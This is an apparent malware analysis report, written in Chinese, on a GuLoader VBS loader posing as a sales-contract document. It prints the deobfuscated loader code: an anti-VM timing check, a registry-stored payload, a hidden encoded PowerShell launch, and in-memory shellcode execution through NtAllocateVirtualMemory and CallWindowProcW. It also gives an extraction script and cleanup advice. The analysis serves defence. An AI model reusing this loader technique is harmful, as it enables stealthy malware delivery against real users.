GuLoader_VBS惡意加載器分析報告

文件信息

字段值文件名SALES-CONTRACT_PROFORMA-RFQ_UYRTR-84747392837_MARCH-EXPORT-DOCUMENTATION_2022.vbsMD56964c15109dfd8a657fc61c2589545a1SHA168d16237ed55a638edc3f3a1a71c099b0e7ce0e5文件類型VBS文件大小141796 bytes發現時間2022-03-03 08:25:13 UTC

過微步云沙箱

關鍵代碼

Dim objshell, MyFile
Runderneth7="-NoExit -EncodedCommand "
PREV="Wscript.Shell"
SUBSI="%windir%"
Robe="HKEY_CURRENT_USER\Software\DORI\FORTOLKNIN"
NOMINER="\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Fragtetuds4="REG_SZ"
Sonder="Shell.Application"
SERAFERSH="Scripting.FileSystemObject"
... ...
Dim dteWait
dteWait = DateAdd("s", 8, Now())
'反調試及虛擬機‘
Do Until (Now() > dteWait)
SERAFERSH0 = SERAFERSH0 + 1
Loop
If SERAFERSH0 < 100 then 
msgbox "non"
end if 
'寫注冊表，實際就是被加載的后門程序'
objShell.RegWrite Robe,Tabulerin4,Fragtetuds4
Set sa = CreateObject(Sonder)
'檢測系統中的powershell程序'
MyFile =  objShell.ExpandEnvironmentStrings(SUBSI) & NOMINER
'執行加載命令'
If CCA.FileExists(MyFile) = True then 
 sa.ShellExecute MyFile, Runderneth7 & chr(34) & epidiaop & chr(34), "", "", 0
else 
 sa.ShellExecute "powershell.exe", Runderneth7 & chr(34) & epidiaop & chr(34), "", "", 0
 Brud = CCA.GetFileName(MyFile)
end if

執行加載命令

首先解密拿到異或后的密文

Wsh.echo epidiaop
set fs =createobject("scripting.filesystemobject")
if (fs.fileexists("c:/3.txt")) then
set f =fs.opentextfile("c:/3.txt",8)
f.write epidiaop 
f.close
else
set f=fs.opentextfile("c:/3.txt",2, true)
f.write epidiaop 
f.close
end if

base64解密后

#Ranchss8 Udkas6 LEDTOGETUS Porterag KLDTESINT Stand Defi Foun4 Rytter3 KURFYR Undominica7 Moskeneerp Earthshatt skrabet Bule2 AFFRERNES 
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Pernitr1
{
[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(uint Lovsangci5,int Lovsangci6,int Lovsangci7,int Lovsangci8,int Lovsangci9);
[DllImport("user32.dll")]public static extern IntPtr DefWindowProcA(uint Pernitr0,int Pernitr1,int Pernitr2,int Pernitr3,int Pernitr4);
[DllImport("kernel32.dll")]public static extern void RtlMoveMemory(IntPtr Lovsangci1,ref Int32 Lovsangci2,int Lovsangci3);	
[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Pernitr6,ref Int32 forkva,int Lovsangci,ref Int32 Pernitr,int chronosco,int Pernitr7);
}
"@
#Subgeomet4 Dossiermom ENTI elver KAUSALT Unapplied4 Upset6 CANA RONNIANTES Udmeldel6 Andronhom5 GAIU retsf Krisesitua schweizere UDLUDNINGE TAPR Jerngi  
$Pernitr3=0;
$Pernitr9=1048576;
$Pernitr8=[Pernitr1]::NtAllocateVirtualMemory(-1,[ref]$Pernitr3,0,[ref]$Pernitr9,12288,64)
$Unifo=(Get-ItemProperty -Path "HKCU:\Software\DORI").FORTOLKNIN
$OXALD = [System.Byte[]]::CreateInstance([System.Byte],$Unifo.Length / 2)
For($i=0; $i -lt $Unifo.Length; $i+=2)
	{
        $OXALD[$i/2] = [convert]::ToByte($Unifo.Substring($i, 2), 16)
    }
for($Afskrivnin=0; $Afskrivnin -lt $OXALD.count ; $Afskrivnin++)
{
	
[Pernitr1]::RtlMoveMemory($Pernitr3+$Afskrivnin,[ref]$OXALD[$Afskrivnin],1)
}
[Pernitr1]::CallWindowProcW($Pernitr3, 0,0,0,0)

總的關鍵三部分：

• 外部調用類Pernitr1
• 取出HKEY_CURRENT_USER\Software\DORI\FORTOLKNIN中的值，每兩位16進制編碼，寫入申請的內存空間
• 調用編碼后的內存地址

動態運行

拿到C#編碼后的DLL文件d1sfwusl.dll: 87d64fffc57ebf7956e7d04ac91bf405

間接的DLL->DLL調用庫函數

被加載程序文件

知道從注冊表取值方法，寫個腳本，得到后門程序：d8f1cda2ae8d5de640e7d82dd47e07af

import base64
import struct
import re
result = re.sub(r"(?<=\w)(?=(?:\w\w)+$)", " ", model)
result = result.split(' ')
result = [int(x, 16) for x in result]
with open('backdoor', 'wb+') as f:
    for info in result:
        # f.write(base64.b64decode(info))
        s = struct.pack('B', info)
        f.write(s)

修復建議

• 刪除VBS程序
• 刪除臨時目錄下的d1sfwusl相關文件
• 清除HKEY_CURRENT_USER\Software\DORI\FORTOLKNIN下的信息
• 殺死后門程序